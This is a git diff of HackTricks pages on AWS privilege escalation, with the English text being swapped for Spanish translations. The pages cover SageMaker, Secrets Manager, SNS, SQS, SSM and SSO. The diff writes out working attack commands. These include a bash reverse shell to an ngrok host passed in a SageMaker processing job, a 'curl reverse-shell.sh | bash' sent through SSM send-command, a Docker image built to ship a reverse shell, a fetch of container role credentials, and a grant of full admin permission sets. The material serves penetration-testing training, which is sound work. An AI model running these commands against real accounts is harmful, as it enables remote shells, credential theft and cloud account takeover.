"Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -An attacker with these privileges is expected to be able to put an Acl to an specific object version - +Se espera que un atacante con estos privilegios pueda poner un Acl a una versión específica del objeto. ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index 890686262..a1536ad31 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -4,70 +4,62 @@ {{#include ../../../banners/hacktricks-training.md}} -### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` - -Start creating a noteboook with the IAM Role to access attached to it: +### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` +Comienza a crear un cuaderno con el rol de IAM para acceder adjunto a él: ```bash aws sagemaker create-notebook-instance --notebook-instance-name example \ - --instance-type ml.t2.medium \ - --role-arn arn:aws:iam:::role/service-role/ +--instance-type ml.t2.medium \ +--role-arn arn:aws:iam:::role/service-role/ ``` - -The response should contain a `NotebookInstanceArn` field, which will contain the ARN of the newly created notebook instance. We can then use the `create-presigned-notebook-instance-url` API to generate a URL that we can use to access the notebook instance once it's ready: - +La respuesta debe contener un campo `NotebookInstanceArn`, que contendrá el ARN de la nueva instancia de notebook creada. Luego podemos usar la API `create-presigned-notebook-instance-url` para generar una URL que podemos usar para acceder a la instancia de notebook una vez que esté lista: ```bash aws sagemaker create-presigned-notebook-instance-url \ - --notebook-instance-name +--notebook-instance-name ``` +Navega a la URL con el navegador y haz clic en \`Open JupyterLab\` en la parte superior derecha, luego desplázate hacia abajo a la pestaña “Launcher” y en la sección “Other”, haz clic en el botón “Terminal”. -Navigate to the URL with the browser and click on \`Open JupyterLab\`\` in the top right, then scroll down to “Launcher” tab and under the “Other” section, click the “Terminal” button. +Ahora es posible acceder a las credenciales de metadatos del rol IAM. -Now It's possible to access the metadata credentials of the IAM Role. - -**Potential Impact:** Privesc to the sagemaker service role specified. +**Impacto Potencial:** Privesc al rol de servicio de sagemaker especificado. ### `sagemaker:CreatePresignedNotebookInstanceUrl` -If there are Jupyter **notebooks are already running** on it and you can list them with `sagemaker:ListNotebookInstances` (or discover them in any other way). You can **generate a URL for them, access them, and steal the credentials as indicated in the previous technique**. - +Si hay **notebooks de Jupyter ya en ejecución** en él y puedes listarlos con `sagemaker:ListNotebookInstances` (o descubrirlos de cualquier otra manera). Puedes **generar una URL para ellos, acceder a ellos y robar las credenciales como se indicó en la técnica anterior**. ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` - -**Potential Impact:** Privesc to the sagemaker service role attached. +**Impacto Potencial:** Privesc al rol de servicio de sagemaker adjunto. ### `sagemaker:CreateProcessingJob,iam:PassRole` -An attacker with those permissions can make **sagemaker execute a processingjob** with a sagemaker role attached to it. The attacked can indicate the definition of the container that will be run in an **AWS managed ECS account instance**, and **steal the credentials of the IAM role attached**. - +Un atacante con esos permisos puede hacer que **sagemaker ejecute un processingjob** con un rol de sagemaker adjunto. El atacante puede indicar la definición del contenedor que se ejecutará en una **instancia de cuenta ECS gestionada por AWS**, y **robar las credenciales del rol de IAM adjunto**. ```bash # I uploaded a python docker image to the ECR aws sagemaker create-processing-job \ - --processing-job-name privescjob \ - --processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ - --app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ - --role-arn +--processing-job-name privescjob \ +--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ +--app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ +--role-arn # In my tests it took 10min to receive the shell curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds ``` - -**Potential Impact:** Privesc to the sagemaker service role specified. +**Impacto Potencial:** Privesc al rol de servicio de sagemaker especificado. ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -An attacker with those permissions will be able to create a training job, **running an arbitrary container** on it with a **role attached** to it. Therefore, the attcke will be able to steal the credentials of the role. +Un atacante con esos permisos podrá crear un trabajo de entrenamiento, **ejecutando un contenedor arbitrario** en él con un **rol adjunto**. Por lo tanto, el atacante podrá robar las credenciales del rol. > [!WARNING] -> This scenario is more difficult to exploit than the previous one because you need to generate a Docker image that will send the rev shell or creds directly to the attacker (you cannot indicate a starting command in the configuration of the training job). +> Este escenario es más difícil de explotar que el anterior porque necesitas generar una imagen de Docker que enviará el rev shell o las credenciales directamente al atacante (no puedes indicar un comando de inicio en la configuración del trabajo de entrenamiento). > > ```bash -> # Create docker image +> # Crear imagen de docker > mkdir /tmp/rev -> ## Note that the trainning job is going to call an executable called "train" -> ## That's why I'm putting the rev shell in /bin/train -> ## Set the values of and +> ## Ten en cuenta que el trabajo de entrenamiento va a llamar a un ejecutable llamado "train" +> ## Por eso estoy poniendo el rev shell en /bin/train +> ## Establece los valores de y > cat > /tmp/rev/Dockerfile < FROM ubuntu > RUN apt update && apt install -y ncat curl @@ -79,40 +71,34 @@ An attacker with those permissions will be able to create a training job, **runn > cd /tmp/rev > sudo docker build . -t reverseshell > -> # Upload it to ECR +> # Sube a ECR > sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ > sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest > sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest > ``` - ```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ - --training-job-name privescjob \ - --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ - --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ - --role-arn \ - --output-data-config '{"S3OutputPath": "s3://"}' \ - --stopping-condition '{"MaxRuntimeInSeconds": 600}' +--training-job-name privescjob \ +--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ +--algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ +--role-arn \ +--output-data-config '{"S3OutputPath": "s3://"}' \ +--stopping-condition '{"MaxRuntimeInSeconds": 600}' #To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer ``` - -**Potential Impact:** Privesc to the sagemaker service role specified. +**Impacto Potencial:** Privesc al rol de servicio de sagemaker especificado. ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -An attacker with those permissions will (potentially) be able to create an **hyperparameter training job**, **running an arbitrary container** on it with a **role attached** to it.\ -&#xNAN;_I haven't exploited because of the lack of time, but looks similar to the previous exploits, feel free to send a PR with the exploitation details._ +Un atacante con esos permisos podrá (potencialmente) crear un **trabajo de entrenamiento de hiperparámetros**, **ejecutando un contenedor arbitrario** en él con un **rol adjunto**.\ +&#xNAN;_I no he explotado debido a la falta de tiempo, pero parece similar a las explotaciones anteriores, siéntete libre de enviar un PR con los detalles de la explotación._ -## References +## Referencias - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md index bdc01433b..0997dc3ab 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -4,7 +4,7 @@ ## Secrets Manager -For more info about secrets manager check: +Para más información sobre el administrador de secretos, consulta: {{#ref}} ../aws-services/aws-secrets-manager-enum.md @@ -12,44 +12,34 @@ For more info about secrets manager check: ### `secretsmanager:GetSecretValue` -An attacker with this permission can get the **saved value inside a secret** in AWS **Secretsmanager**. - +Un atacante con este permiso puede obtener el **valor guardado dentro de un secreto** en AWS **Secretsmanager**. ```bash aws secretsmanager get-secret-value --secret-id # Get value ``` - -**Potential Impact:** Access high sensitive data inside AWS secrets manager service. +**Impacto Potencial:** Acceso a datos altamente sensibles dentro del servicio AWS Secrets Manager. ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -With the previous permissions it's possible to **give access to other principals/accounts (even external)** to access the **secret**. Note that in order to **read secrets encrypted** with a KMS key, the user also needs to have **access over the KMS key** (more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)). - +Con los permisos anteriores es posible **dar acceso a otros principales/cuentas (incluso externas)** para acceder al **secreto**. Tenga en cuenta que para **leer secretos cifrados** con una clave KMS, el usuario también necesita tener **acceso a la clave KMS** (más información en la [página de enumeración de KMS](../aws-services/aws-kms-enum.md)). ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id aws secretsmanager put-resource-policy --secret-id --resource-policy file:///tmp/policy.json ``` - policy.json: - ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "secretsmanager:GetSecretValue", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "secretsmanager:GetSecretValue", +"Resource": "*" +} +] } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index 699bb58cf..d185bab1e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -4,7 +4,7 @@ ## SNS -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,36 +12,26 @@ For more information check: ### `sns:Publish` -An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +Un atacante podría enviar mensajes maliciosos o no deseados al tema de SNS, lo que podría causar corrupción de datos, activar acciones no intencionadas o agotar recursos. ```bash aws sns publish --topic-arn --message ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**Impacto Potencial**: Explotación de vulnerabilidades, corrupción de datos, acciones no intencionadas o agotamiento de recursos. ### `sns:Subscribe` -An attacker could subscribe or to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic. - +Un atacante podría suscribirse a un tema de SNS, potencialmente obteniendo acceso no autorizado a mensajes o interrumpiendo el funcionamiento normal de las aplicaciones que dependen del tema. ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` - -**Potential Impact**: Unauthorized access to messages (sensitve info), service disruption for applications relying on the affected topic. +**Impacto Potencial**: Acceso no autorizado a mensajes (información sensible), interrupción del servicio para aplicaciones que dependen del tema afectado. ### `sns:AddPermission` -An attacker could grant unauthorized users or services access to an SNS topic, potentially getting further permissions. - +Un atacante podría otorgar acceso a un tema de SNS a usuarios o servicios no autorizados, potencialmente obteniendo más permisos. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` - -**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic. +**Impacto Potencial**: Acceso no autorizado al tema, exposición de mensajes o manipulación del tema por usuarios o servicios no autorizados, interrupción del funcionamiento normal de las aplicaciones que dependen del tema. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md index 384ed8430..96c6968d6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md @@ -4,7 +4,7 @@ ## SQS -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md @@ -12,39 +12,29 @@ For more information check: ### `sqs:AddPermission` -An attacker could use this permission to grant unauthorized users or services access to an SQS queue by creating new policies or modifying existing policies. This could result in unauthorized access to the messages in the queue or manipulation of the queue by unauthorized entities. - +Un atacante podría usar este permiso para otorgar acceso no autorizado a usuarios o servicios a una cola SQS creando nuevas políticas o modificando políticas existentes. Esto podría resultar en acceso no autorizado a los mensajes en la cola o manipulación de la cola por entidades no autorizadas. ```bash cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label ``` +**Impacto Potencial**: Acceso no autorizado a la cola, exposición de mensajes o manipulación de la cola por usuarios o servicios no autorizados. -**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services. - -### `sqs:SendMessage` , `sqs:SendMessageBatch` - -An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources. +### `sqs:SendMessage`, `sqs:SendMessageBatch` +Un atacante podría enviar mensajes maliciosos o no deseados a la cola SQS, lo que podría causar corrupción de datos, activar acciones no intencionadas o agotar recursos. ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**Impacto Potencial**: Explotación de vulnerabilidades, corrupción de datos, acciones no intencionadas o agotamiento de recursos. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages. - +Un atacante podría recibir, eliminar o modificar la visibilidad de los mensajes en una cola SQS, causando pérdida de mensajes, corrupción de datos o interrupción del servicio para las aplicaciones que dependen de esos mensajes. ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` - -**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages. +**Impacto Potencial**: Robar información sensible, pérdida de mensajes, corrupción de datos y interrupción del servicio para aplicaciones que dependen de los mensajes afectados. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index c4067e2ca..dd5d6d130 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -4,7 +4,7 @@ ## SSM -For more info about SSM check: +Para más información sobre SSM, consulta: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,8 +12,7 @@ For more info about SSM check: ### `ssm:SendCommand` -An attacker with the permission **`ssm:SendCommand`** can **execute commands in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it. - +Un atacante con el permiso **`ssm:SendCommand`** puede **ejecutar comandos en instancias** que ejecutan el Amazon SSM Agent y **comprometer el IAM Role** que se ejecuta dentro de él. ```bash # Check for configured instances aws ssm describe-instance-information @@ -21,26 +20,22 @@ aws ssm describe-sessions --state Active # Send rev shell command aws ssm send-command --instance-ids "$INSTANCE_ID" \ - --document-name "AWS-RunShellScript" --output text \ - --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` - -In case you are using this technique to escalate privileges inside an already compromised EC2 instance, you could just capture the rev shell locally with: - +En caso de que estés utilizando esta técnica para escalar privilegios dentro de una instancia EC2 ya comprometida, podrías simplemente capturar el rev shell localmente con: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance aws ssm send-command --instance-ids "$INSTANCE_ID" \ - --document-name "AWS-RunShellScript" --output text \ - --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running. +**Impacto Potencial:** Privesc directo a los roles de IAM de EC2 adjuntos a instancias en ejecución con agentes SSM en funcionamiento. ### `ssm:StartSession` -An attacker with the permission **`ssm:StartSession`** can **start a SSH like session in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it. - +Un atacante con el permiso **`ssm:StartSession`** puede **iniciar una sesión similar a SSH en instancias** que ejecutan el agente SSM de Amazon y **comprometer el rol de IAM** que se ejecuta dentro de él. ```bash # Check for configured instances aws ssm describe-instance-information @@ -49,68 +44,58 @@ aws ssm describe-sessions --state Active # Send rev shell command aws ssm start-session --target "$INSTANCE_ID" ``` - > [!CAUTION] -> In order to start a session you need the **SessionManagerPlugin** installed: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) +> Para iniciar una sesión, necesitas tener instalado el **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running. +**Impacto Potencial:** Privesc directo a los roles de IAM de EC2 adjuntos a instancias en ejecución con SSM Agents en funcionamiento. -#### Privesc to ECS - -When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\ -According to [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) this is done by creating a secure channel between the device you use to initiate the “_exec_“ command and the target container with SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)\ -Therefore, users with `ssm:StartSession` will be able to **get a shell inside ECS tasks** with that option enabled just running: +#### Privesc a ECS +Cuando las **tareas de ECS** se ejecutan con **`ExecuteCommand` habilitado**, los usuarios con suficientes permisos pueden usar `ecs execute-command` para **ejecutar un comando** dentro del contenedor.\ +Según [**la documentación**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), esto se hace creando un canal seguro entre el dispositivo que usas para iniciar el comando “_exec_” y el contenedor objetivo con SSM Session Manager. (SSM Session Manager Plugin necesario para que esto funcione)\ +Por lo tanto, los usuarios con `ssm:StartSession` podrán **obtener un shell dentro de las tareas de ECS** con esa opción habilitada simplemente ejecutando: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` - ![](<../../../images/image (185).png>) -**Potential Impact:** Direct privesc to the `ECS`IAM roles attached to running tasks with `ExecuteCommand` enabled. +**Impacto Potencial:** Privesc directo a los roles `ECS`IAM adjuntos a tareas en ejecución con `ExecuteCommand` habilitado. ### `ssm:ResumeSession` -An attacker with the permission **`ssm:ResumeSession`** can re-**start a SSH like session in instances** running the Amazon SSM Agent with a **disconnected** SSM session state and **compromise the IAM Role** running inside of it. - +Un atacante con el permiso **`ssm:ResumeSession`** puede re-**iniciar una sesión similar a SSH en instancias** que ejecutan el Agente SSM de Amazon con un estado de sesión SSM **desconectado** y **comprometer el Rol IAM** que se ejecuta dentro de él. ```bash # Check for configured instances aws ssm describe-sessions # Get resume data (you will probably need to do something else with this info to connect) aws ssm resume-session \ - --session-id Mary-Major-07a16060613c408b5 +--session-id Mary-Major-07a16060613c408b5 ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running and disconected sessions. +**Impacto Potencial:** Privesc directo a los roles de IAM de EC2 adjuntos a instancias en ejecución con agentes SSM en ejecución y sesiones desconectadas. ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) -An attacker with the mentioned permissions is going to be able to list the **SSM parameters** and **read them in clear-text**. In these parameters you can frequently **find sensitive information** such as SSH keys or API keys. - +Un atacante con los permisos mencionados podrá listar los **parámetros SSM** y **leerlos en texto claro**. En estos parámetros frecuentemente puedes **encontrar información sensible** como claves SSH o claves API. ```bash aws ssm describe-parameters # Suppose that you found a parameter called "id_rsa" aws ssm get-parameters --names id_rsa --with-decryption aws ssm get-parameter --name id_rsa --with-decryption ``` - -**Potential Impact:** Find sensitive information inside the parameters. +**Impacto Potencial:** Encontrar información sensible dentro de los parámetros. ### `ssm:ListCommands` -An attacker with this permission can list all the **commands** sent and hopefully find **sensitive information** on them. - +Un atacante con este permiso puede listar todos los **comandos** enviados y, con suerte, encontrar **información sensible** en ellos. ``` aws ssm list-commands ``` - -**Potential Impact:** Find sensitive information inside the command lines. +**Impacto Potencial:** Encontrar información sensible dentro de las líneas de comando. ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) -An attacker with these permissions can list all the **commands** sent and **read the output** generated hopefully finding **sensitive information** on it. - +Un atacante con estos permisos puede listar todos los **comandos** enviados y **leer la salida** generada, con la esperanza de encontrar **información sensible** en ella. ```bash # You can use any of both options to get the command-id and instance id aws ssm list-commands @@ -118,19 +103,14 @@ aws ssm list-command-invocations aws ssm get-command-invocation --command-id --instance-id ``` - -**Potential Impact:** Find sensitive information inside the output of the command lines. +**Impacto Potencial:** Encontrar información sensible dentro de la salida de las líneas de comando. ### Codebuild -You can also use SSM to get inside a codebuild project being built: +También puedes usar SSM para acceder a un proyecto de codebuild que se está construyendo: {{#ref}} aws-codebuild-privesc.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md index 0fb4e10a1..74f3a9eba 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md @@ -4,58 +4,53 @@ ## AWS Identity Center / AWS SSO -For more information about AWS Identity Center / AWS SSO check: +Para más información sobre AWS Identity Center / AWS SSO consulta: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} > [!WARNING] -> Note that by **default**, only **users** with permissions **form** the **Management Account** are going to be able to access and **control the IAM Identity Center**.\ -> Users from other accounts can only allow it if the account is a **Delegated Adminstrator.**\ -> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) +> Ten en cuenta que por **defecto**, solo **los usuarios** con permisos **del** **Cuenta de Gestión** podrán acceder y **controlar el IAM Identity Center**.\ +> Los usuarios de otras cuentas solo pueden permitirlo si la cuenta es un **Administrador Delegado.**\ +> [Consulta la documentación para más información.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) -### ~~Reset Password~~ +### ~~Restablecer Contraseña~~ -An easy way to escalate privileges in cases like this one would be to have a permission that allows to reset users passwords. Unfortunately it's only possible to send an email to the user to reset his password, so you would need access to the users email. +Una forma fácil de escalar privilegios en casos como este sería tener un permiso que permita restablecer las contraseñas de los usuarios. Desafortunadamente, solo es posible enviar un correo electrónico al usuario para restablecer su contraseña, por lo que necesitarías acceso al correo electrónico del usuario. ### `identitystore:CreateGroupMembership` -With this permission it's possible to set a user inside a group so he will inherit all the permissions the group has. - +Con este permiso es posible agregar un usuario dentro de un grupo para que herede todos los permisos que tiene el grupo. ```bash aws identitystore create-group-membership --identity-store-id --group-id --member-id UserId= ``` - ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control - +Un atacante con este permiso podría otorgar permisos adicionales a un Permission Set que se concede a un usuario bajo su control. ```bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml # Content of /tmp/policy.yaml { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Statement1", - "Effect": "Allow", - "Action": ["*"], - "Resource": ["*"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Statement1", +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] } # Update the provisioning so the new policy is created in the account aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control - +Un atacante con este permiso podría otorgar permisos adicionales a un Conjunto de Permisos que se concede a un usuario bajo su control. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" @@ -63,14 +58,12 @@ aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control. +Un atacante con este permiso podría otorgar permisos adicionales a un Conjunto de Permisos que se concede a un usuario bajo su control. > [!WARNING] -> To abuse these permissions in this case you need to know the **name of a customer managed policy that is inside ALL the accounts** that are going to be affected. - +> Para abusar de estos permisos en este caso, necesitas conocer el **nombre de una política administrada por el cliente que esté dentro de TODAS las cuentas** que se verán afectadas. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference @@ -78,59 +71,42 @@ aws sso-admin attach-customer-managed-policy-reference-to-permission-set --insta # Update the provisioning so the new policy is created in the account aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:CreateAccountAssignment` -An attacker with this permission could give a Permission Set to a user under his control to an account. - +Un atacante con este permiso podría otorgar un Conjunto de Permisos a un usuario bajo su control a una cuenta. ```bash aws sso-admin create-account-assignment --instance-arn --target-id --target-type AWS_ACCOUNT --permission-set-arn --principal-type USER --principal-id ``` - ### `sso:GetRoleCredentials` -Returns the STS short-term credentials for a given role name that is assigned to the user. - +Devuelve las credenciales a corto plazo de STS para un nombre de rol dado que está asignado al usuario. ``` aws sso get-role-credentials --role-name --account-id --access-token ``` - -However, you need an access token that I'm not sure how to get (TODO). +Sin embargo, necesitas un token de acceso que no estoy seguro de cómo obtener (TODO). ### `sso:DetachManagedPolicyFromPermissionSet` -An attacker with this permission can remove the association between an AWS managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**. - +Un atacante con este permiso puede eliminar la asociación entre una política gestionada de AWS y el conjunto de permisos especificado. Es posible otorgar más privilegios a través de **desvincular una política gestionada (política de denegación)**. ```bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn ``` - ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` -An attacker with this permission can remove the association between a Customer managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**. - +Un atacante con este permiso puede eliminar la asociación entre una política gestionada por el cliente y el conjunto de permisos especificado. Es posible otorgar más privilegios a través de **desvincular una política gestionada (política de denegación)**. ```bash aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` - ### `sso:DeleteInlinePolicyFromPermissionSet` -An attacker with this permission can action remove the permissions from an inline policy from the permission set. It is possible to grant **more privileges via detaching an inline policy (deny policy)**. - +Un atacante con este permiso puede eliminar los permisos de una política en línea del conjunto de permisos. Es posible otorgar **más privilegios al desvincular una política en línea (política de denegación)**. ```bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` - ### `sso:DeletePermissionBoundaryFromPermissionSet` -An attacker with this 